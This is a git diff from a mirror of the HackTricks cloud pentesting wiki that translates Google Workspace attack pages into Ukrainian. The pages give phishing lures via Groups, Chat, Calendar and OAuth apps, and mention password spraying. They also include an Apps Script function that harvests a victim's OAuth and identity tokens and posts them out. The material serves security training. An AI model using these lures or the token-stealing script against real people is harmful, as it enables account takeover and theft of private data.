mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 06:42:39 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
|
||||
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
|
||||
Перевірте, як ви можете використовувати різні платформи Google, такі як Drive, Chat, Groups... для відправки жертві фішингового посилання та як виконати фішинг Google OAuth у:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
|
||||
|
||||
### Password Spraying
|
||||
|
||||
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
|
||||
Щоб протестувати паролі з усіма електронними адресами, які ви знайшли (або які ви згенерували на основі шаблону імені електронної пошти, який ви могли виявити), ви можете використовувати інструмент, такий як [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (хоча він виглядає непідтримуваним), який використовуватиме AWS lambdas для зміни IP-адреси.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
|
||||
Якщо ви скомпрометували деякі облікові дані або сесію користувача, ви можете виконати кілька дій для доступу до потенційно чутливої інформації користувача та спробувати підвищити привілеї:
|
||||
|
||||
{{#ref}}
|
||||
gws-post-exploitation.md
|
||||
@@ -26,17 +26,17 @@ gws-post-exploitation.md
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
|
||||
Read more about the different techniques to pivot between GWS and GCP in:
|
||||
Дізнайтеся більше про різні техніки півотування між GWS та GCP у:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
- **GCPW (Google Credential Provider for Windows)**: Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК з Windows, використовуючи **свої облікові дані Workspace**. Більше того, це **зберігатиме токени для доступу до Google Workspace** в деяких місцях на ПК.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: Це інструмент, який можна використовувати для **синхронізації ваших користувачів та груп активного каталогу з вашим Workspace**. Інструмент вимагає **облікових даних суперкористувача Workspace та привілейованого користувача AD**. Тому, можливо, його можна знайти всередині доменного сервера, який час від часу синхронізує користувачів.
|
||||
- **Admin Directory Sync**: Дозволяє синхронізувати користувачів з AD та EntraID у безсерверному процесі з [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
|
||||
## Persistence
|
||||
|
||||
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
|
||||
Якщо ви скомпрометували деякі облікові дані або сесію користувача, перевірте ці варіанти для підтримки постійності:
|
||||
|
||||
{{#ref}}
|
||||
gws-persistence.md
|
||||
@@ -52,18 +52,18 @@ gws-persistence.md
|
||||
|
||||
## Account Compromised Recovery
|
||||
|
||||
- Log out of all sessions
|
||||
- Change user password
|
||||
- Generate new 2FA backup codes
|
||||
- Remove App passwords
|
||||
- Remove OAuth apps
|
||||
- Remove 2FA devices
|
||||
- Remove email forwarders
|
||||
- Remove emails filters
|
||||
- Remove recovery email/phones
|
||||
- Removed malicious synced smartphones
|
||||
- Remove bad Android Apps
|
||||
- Remove bad account delegations
|
||||
- Вийти з усіх сесій
|
||||
- Змінити пароль користувача
|
||||
- Згенерувати нові резервні коди 2FA
|
||||
- Видалити паролі додатків
|
||||
- Видалити OAuth додатки
|
||||
- Видалити пристрої 2FA
|
||||
- Видалити пересилання електронної пошти
|
||||
- Видалити фільтри електронної пошти
|
||||
- Видалити електронну пошту/телефони для відновлення
|
||||
- Видалити зловмисні синхронізовані смартфони
|
||||
- Видалити погані Android додатки
|
||||
- Видалити погані делегування облікового запису
|
||||
|
||||
## References
|
||||
|
||||
@@ -71,7 +71,3 @@ gws-persistence.md
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -10,70 +10,68 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
Очевидно, за замовчуванням, у workspace учасники [**можуть створювати групи**](https://groups.google.com/all-groups) **та запрошувати людей до них**. Ви можете змінити електронну пошту, яка буде надіслана користувачу, **додавши деякі посилання.** **Електронна пошта буде надіслана з адреси google**, тому вона виглядатиме **легітимно**, і люди можуть натиснути на посилання.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
Також можливо встановити **FROM** адресу як **електронну пошту групи Google**, щоб надіслати **більше електронних листів користувачам всередині групи**, як на наступному зображенні, де група **`google--support@googlegroups.com`** була створена, і **електронний лист був надісланий всім учасникам** групи (які були додані без будь-якої згоди)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
Ви можете або **почати чат** з людиною, просто маючи її електронну адресу, або надіслати **запрошення на розмову**. Більше того, можливо **створити Простір**, який може мати будь-яку назву (наприклад, "Google Support") і **запросити** учасників до нього. Якщо вони приймуть, вони можуть подумати, що спілкуються з Google Support:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **Однак у моєму тестуванні запрошені учасники навіть не отримали запрошення.**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Ви можете перевірити, як це працювало в минулому, за адресою: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
Раніше було можливо створити **очевидно легітимний документ** і в коментарі **згадати якусь електронну пошту (наприклад, @user@gmail.com)**. Google **надіслав електронний лист на цю електронну адресу**, повідомляючи, що вони були згадані в документі.\
|
||||
Сьогодні це не працює, але якщо ви **надасте жертві доступ до документа**, Google надішле електронний лист, вказуючи на це. Це повідомлення, яке з'являється, коли ви згадуєте когось:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> Жертви можуть мати механізм захисту, який не дозволяє електронним листам, що вказують на те, що зовнішній документ був поділений з ними, досягати їхньої електронної пошти.
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
Ви можете **створити подію в календарі** і додати стільки електронних адрес компанії, яку ви атакуєте, скільки у вас є. Заплануйте цю подію в календарі на **5 або 15 хвилин** від поточного часу. Зробіть подію виглядати легітимно і **додайте коментар та заголовок, вказуючи, що їм потрібно щось прочитати** (з **фішинговим посиланням**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
Це попередження, яке з'явиться в браузері з заголовком зустрічі "Звільнення людей", тому ви могли б встановити більш фішинговий заголовок (і навіть змінити ім'я, пов'язане з вашою електронною поштою).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
Щоб це виглядало менш підозріло:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- Налаштуйте так, щоб **отримувачі не могли бачити інших запрошених людей**
|
||||
- **НЕ надсилайте електронні листи, що повідомляють про подію**. Тоді люди лише побачать своє попередження про зустріч через 5 хвилин і що їм потрібно прочитати це посилання.
|
||||
- Очевидно, використовуючи API, ви можете встановити **True**, що **люди** прийняли **подію** і навіть створити **коментарі від їхнього імені**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
Можливо створити скрипт на [https://script.google.com/](https://script.google.com/) і **викласти його як веб-додаток, доступний для всіх**, який використовуватиме легітимний домен **`script.google.com`**.\
|
||||
З деяким кодом, як наведено нижче, зловмисник може змусити скрипт завантажувати довільний вміст на цій сторінці без зупинки доступу до домену:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Наприклад, отримавши доступ до [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec), ви побачите:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> Зверніть увагу, що з'явиться попередження, коли вміст завантажується всередині iframe.
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
Можливо створити App Scripts, прикріплені до документів, щоб спробувати отримати доступ до OAuth токена жертви, для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
@@ -81,89 +79,83 @@ gws-app-scripts.md
|
||||
|
||||
## OAuth Apps Phishing
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
Будь-яка з попередніх технік може бути використана, щоб змусити користувача отримати доступ до **Google OAuth application**, яка **запитуватиме** у користувача деякі **доступи**. Якщо користувач **довіряє** **джерелу**, він може **довіряти** **додатку** (навіть якщо він запитує високі привілейовані дозволи).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Зверніть увагу, що Google показує непривабливе вікно з попередженням, що додаток ненадійний у кількох випадках, і адміністратори Workspace можуть навіть заборонити людям приймати OAuth додатки.
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google** дозволяє створювати додатки, які можуть **взаємодіяти від імені користувачів** з кількома **сервісами Google**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
При створенні додатку, щоб **діяти від імені інших користувачів**, розробник повинен створити **OAuth app всередині GCP** і вказати області (дозволи), які додаток потребує для доступу до даних користувачів.\
|
||||
Коли **користувач** хоче **використати** цей **додаток**, йому буде **запропоновано** **прийняти**, що додаток матиме доступ до його даних, зазначених в областях.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
Це дуже привабливий спосіб **фішингу** нетехнічних користувачів для використання **додатків, які отримують доступ до чутливої інформації**, оскільки вони можуть не розуміти наслідків. Однак в облікових записах організацій є способи запобігти цьому.
|
||||
|
||||
### Unverified App prompt
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
Як було згадано, Google завжди буде показувати **вікно для користувача, щоб прийняти** дозволи, які вони надають додатку від їх імені. Однак, якщо додаток вважається **небезпечним**, Google спочатку покаже **вікно**, яке вказує, що це **небезпечний** додаток, і **ускладнить** користувачу надання дозволів додатку.
|
||||
|
||||
This prompt appears in apps that:
|
||||
Це вікно з'являється в додатках, які:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- Використовують будь-яку область, яка може отримати доступ до приватних даних (Gmail, Drive, GCP, BigQuery...)
|
||||
- Додатки з менш ніж 100 користувачами (додатки > 100 також потребують процесу перевірки, щоб зупинити показ неперевіреного вікна)
|
||||
|
||||
### Interesting Scopes
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**Тут**](https://developers.google.com/identity/protocols/oauth2/scopes) ви можете знайти список усіх областей Google OAuth.
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: Перегляд та управління вашими даними в сервісах **Google Cloud Platform**. Ви можете видавати себе за користувача в GCP.
|
||||
- **admin.directory.user.readonly**: Перегляд та завантаження каталогу GSuite вашої організації. Отримайте імена, телефони, URL-адреси календарів усіх користувачів.
|
||||
|
||||
### Create an OAuth App
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**Почніть створення OAuth Client ID**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. Перейдіть до [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) і натисніть на налаштування екрану згоди.
|
||||
2. Потім вам буде запропоновано, чи є **тип користувача** **внутрішнім** (тільки для людей у вашій організації) чи **зовнішнім**. Виберіть той, який відповідає вашим потребам
|
||||
- Внутрішній може бути цікавим, якщо ви вже скомпрометували користувача організації і створюєте цей додаток, щоб фішити іншого.
|
||||
3. Дайте **ім'я** додатку, **електронну пошту підтримки** (зверніть увагу, що ви можете вказати електронну пошту googlegroup, щоб спробувати трохи анонімізувати себе), **логотип**, **дозволені домени** та іншу **електронну пошту** для **оновлень**.
|
||||
4. **Виберіть** **OAuth області**.
|
||||
- Ця сторінка поділена на неделікатні дозволи, делікатні дозволи та обмежені дозволи. Кожного разу, коли ви додаєте новий дозвіл, він додається до своєї категорії. В залежності від запитуваних дозволів різні вікна з'являться для користувача, вказуючи, наскільки чутливими є ці дозволи.
|
||||
- Як **`admin.directory.user.readonly`**, так і **`cloud-platform`** є делікатними дозволами.
|
||||
5. **Додайте тестових користувачів.** Поки статус додатку є тестовим, лише ці користувачі зможуть отримати доступ до додатку, тому переконайтеся, що **додали електронну пошту, яку ви будете фішити**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
Тепер давайте отримати **облікові дані для веб-додатку**, використовуючи **раніше створений OAuth Client ID**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. Поверніться до [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), цього разу з'явиться інша опція.
|
||||
2. Виберіть **створити облікові дані для веб-додатку**
|
||||
3. Встановіть необхідні **Javascript origins** та **redirect URIs**
|
||||
- Ви можете вказати в обох щось на кшталт **`http://localhost:8000/callback`** для тестування
|
||||
4. Отримайте свої облікові дані **додатку**
|
||||
|
||||
Нарешті, давайте **запустимо веб-додаток, який використовуватиме облікові дані OAuth додатку**. Ви можете знайти приклад на [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
Перейдіть на **`http://localhost:8000`**, натисніть кнопку Увійти з Google, вам буде **представлено** повідомлення, подібне до цього:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
Додаток покаже **токен доступу та токен оновлення**, які можна легко використовувати. Для отримання додаткової інформації про **те, як використовувати ці токени, перевірте**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### Використання `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
Можливо зробити щось, використовуючи gcloud замість веб-консолі, перевірте:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Хакінг G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team для GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,236 +4,224 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scripts - це **код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script** і після **прийняття запиту OAuth**.\
|
||||
Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (постійність).
|
||||
|
||||
### Create App Script
|
||||
### Створити App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
Існує кілька способів створити App Script, хоча найпоширеніші з них - це **з Google Документу (будь-якого типу)** та як **окремий проект**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.
|
||||
2. Натисніть **Розширення** > **Google Apps Script**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>Створити окремий проект</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Щоб створити окремий проект з Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Перейдіть на [`script.google.com`](https://script.google.com/).
|
||||
2. Натисніть **Новий проект**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Створити окремий проект з Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. Відкрийте [Google Drive](https://drive.google.com/).
|
||||
2. Натисніть **Новий** > **Інше** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Створити проект, прив'язаний до контейнера, з Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Відкрийте форму в Google Forms.
|
||||
2. Натисніть Інше more_vert > **Редактор скриптів**.
|
||||
3. У редакторі скриптів натисніть **Без назви проект**.
|
||||
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>Створити окремий проект за допомогою інструменту командного рядка clasp</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp` - це інструмент командного рядка, який дозволяє створювати, витягувати/додавати та розгортати проекти Apps Script з терміналу.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
Дивіться [Посібник по інтерфейсу командного рядка за допомогою `clasp`](https://developers.google.com/apps-script/guides/clasp) для отримання додаткової інформації.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## Сценарій App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### Створити Google Sheet з App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до **`Розширення > App Scripts`**, це відкриє **новий App Script, пов'язаний з таблицею**.
|
||||
|
||||
### Leak token
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
Щоб надати доступ до токена OAuth, вам потрібно натиснути на **`Сервіси +` і додати області, такі як**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
|
||||
- **Gmail**: Для доступу до даних gmail
|
||||
- **Drive**: Для доступу до даних drive
|
||||
- **Google Sheets API**: Щоб це працювало з тригером
|
||||
|
||||
Щоб змінити **необхідні області**, ви можете перейти до налаштувань проекту та увімкнути: **`Показати файл маніфесту "appsscript.json" в редакторі`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
// Data json
|
||||
data = {
|
||||
oauthToken: oauthToken,
|
||||
identityToken: identityToken,
|
||||
email: userEmail,
|
||||
domain: domain,
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
// Send data
|
||||
makePostRequest(data)
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
